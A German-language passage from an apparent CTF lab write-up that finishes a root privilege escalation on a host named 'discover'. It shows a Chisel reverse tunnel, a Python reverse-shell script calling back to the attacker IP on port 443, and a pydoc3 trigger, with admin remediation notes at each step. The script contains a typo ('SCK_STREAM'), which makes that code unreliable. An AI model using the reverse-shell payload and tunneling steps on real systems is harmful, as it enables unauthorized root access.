**Analyse:** Auf dem Angreifersystem wird der Chisel-Server im Reverse-Modus auf Port 9080 gestartet. Auf dem Zielsystem wird Chisel ausführbar gemacht und als Client gestartet. Der Client verbindet sich zum Server und richtet einen Reverse-Tunnel ein: Anfragen an den lokalen Port 8888 des *Angreifers* (`R:8888`) werden an den lokalen Port 8888 des *Ziels* (`127.0.0.1:8888`) weitergeleitet.
**Bewertung:** Der Tunnel ist erfolgreich aufgebaut. Nun kann der Pentester auf seinem eigenen System `http://localhost:8888` aufrufen, um auf den als `root` laufenden pydoc3-Server zuzugreifen.
**Empfehlung (Pentester):** Greifen Sie auf `http://localhost:8888` zu und suchen Sie nach einer Möglichkeit, Code auszuführen.
**Empfehlung (Admin):** Erkennung und Blockierung von Tunneling-Tools wie Chisel durch Netzwerk-Monitoring oder Endpoint Security.
Die folgenden Schritte mit `authorized_keys` und einem weiteren SSH-Login scheinen ein alternativer, nicht notwendiger Pfad oder ein Missverständnis zu sein, da der pydoc3-Exploit bereits vorbereitet wird. Wir kommentieren sie, gehen aber davon aus, dass der pydoc3-Pfad zum Erfolg führt.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
--2024-09-11 15:45:31-- http://192.168.2.199/authorized_keys
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 K
Length: 91 [application/octet-stream]
Saving to: ‘authorized_keys’
authorized_keys 100%[===================>] 91 --.-KB/s in 0s
2024-09-11 15:45:31 (2.17 MB/s) - ‘authorized_keys’ saved [91/91]
The authenticity of host '192.168.2.129 (192.168.2.129)' can't be established.
ED25519 key fingerprint is SHA256:3dqq7f/jDEeGxYQnF2zHbpzEtjjY49/5PvV5/4MMqns.
...
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.129' (ED25519) to the list of known hosts.
Enter passphrase for key '/root/.ssh/id_rsa':
takeshi@discover$
**Analyse:** Es wird versucht, den öffentlichen SSH-Schlüssel des Angreifers auf das Zielsystem herunterzuladen (vermutlich um ihn in `/home/takeshi/.ssh/authorized_keys` zu platzieren) und sich dann passwortlos anzumelden.
**Bewertung:** Scheint zu funktionieren, etabliert aber nur eine weitere Shell als `takeshi`, was für die Root-Privilegienerweiterung nicht direkt hilft.
**Empfehlung (Pentester):** Fokus auf pydoc3.
**Empfehlung (Admin):** Keine Aktion.
**Fortsetzung des pydoc3-Exploits**
http://localhost:8888/ Python 3.9.2 [default, GCC 10.2.1 20210110] Linux-5.10.0-23-amd64-x86_64-with-glibc2.31 Module Index : Topics : Keywords Index of Modules .. .... Built-in Modules tarfile telnetlib tempfile test (package) textwrap reportbug (package) requests (package) requests_toolbelt (package) samba (package) six talloc tdb urllib3 (package) yaml (package) pydoc by Ka-Ping Yee.. ....
**Analyse:** Zugriff auf den pydoc3-Webserver über den Chisel-Tunnel (`http://localhost:8888` auf dem Angreifersystem). Die Seite zeigt eine Liste von Python-Modulen.
**Bewertung:** Bestätigt den Zugriff auf den als `root` laufenden pydoc3-Server. GTFOBins oder andere Recherchen legen nahe, dass pydoc3 über die URL-Parameter (`get?key=`) Module importieren und potenziell Code ausführen kann.
**Empfehlung (Pentester):** Erstellen Sie ein einfaches Python-Skript mit einem Reverse-Shell-Payload auf dem Zielsystem (z.B. in `/tmp/`). Versuchen Sie dann, dieses Skript über den pydoc3-Server zu importieren oder auszuführen, z.B. über `http://localhost:8888/get?key=/tmp/payload.py` (der genaue Mechanismus kann variieren).
**Empfehlung (Admin):** Sudo-Regel entfernen.
#!/usr/bin/python3
import os
import socket
import subprocess
s = socket.socket(socket.AF_INET,socket.SCK_STREAM)
s.connect(("192.168.2.199",443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
**Analyse:** Auf dem Zielsystem wird ein Python-Skript (`noname.py`) erstellt, das eine Standard-Reverse-Shell zum Angreifer (`192.168.2.199`) auf Port `443` aufbaut.
**Bewertung:** Vorbereitung des Payloads für den pydoc3-Exploit.
**Empfehlung (Pentester):** Starten Sie einen Listener auf Port 443 und versuchen Sie, das Skript über den pydoc3-Webserver auszulösen.
**Empfehlung (Admin):** Keine Aktion.
http://localhost:8888/get?key=noname.py
noname.py
**Analyse:** Zugriff auf eine URL auf dem pydoc3-Server, die versucht, das erstellte Python-Skript (`noname.py`) über den `key`-Parameter zu laden oder auszuführen.
**Bewertung:** Dies ist der Trigger für den Exploit.
**Empfehlung (Pentester):** Überprüfen Sie den Listener auf Port 443.
**Empfehlung (Admin):** Keine Aktion.
listening on [any] 443 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.129] 44402 root@discover:/home/takeshi#
**Analyse:** Der Netcat-Listener auf Port 443 empfängt eine Verbindung vom Zielsystem. Der erhaltene Prompt ist `root@discover:/home/takeshi#`.
**Bewertung:** **Privilege Escalation erfolgreich!** Der pydoc3-Exploit hat funktioniert. Das Python-Skript wurde vom als `root` laufenden pydoc3-Prozess ausgeführt und hat eine Root-Shell zum Angreifer aufgebaut.
**Empfehlung (Pentester):** Ziel erreicht! Suchen Sie die Root-Flag.
**Empfehlung (Admin):** Entfernen Sie die sudo-Regel für `pydoc3` dringend. Überprüfen Sie das System auf weitere Fehlkonfigurationen.
6250095210f0c82aea6330a1269f8d97
d1fbb1fc68df7c8bdb6160ef34015ad1
**Analyse:** Nach Erlangung der Root-Rechte über den pydoc3-Exploit werden die User- und Root-Flags aus den entsprechenden Verzeichnissen (`/home/ken/user.txt` und `/root/root.txt`) ausgelesen.
**Bewertung:** Beide Flags wurden erfolgreich gefunden und erfasst. Die Aufgabe ist abgeschlossen.
**Empfehlung (Pentester):** Dokumentieren Sie die Flags und den gesamten Prozess (SMB Credential Discovery -> SMB Share Upload -> VHost RCE -> Sudo/Setarch -> Sudo/Pydoc3 -> Root) im Bericht.
**Empfehlung (Admin):** Beheben Sie alle identifizierten Schwachstellen: SMB-Passwort für 'nobody', unsichere SMB-Share-Berechtigungen ('ken'), Webserver-Fehlkonfiguration (VHost-Mapping, ausführbare Endungen), sudo-Regeln für 'setarch' und 'pydoc3'. Überprüfen Sie System- und Dienstkonfigurationen gründlich.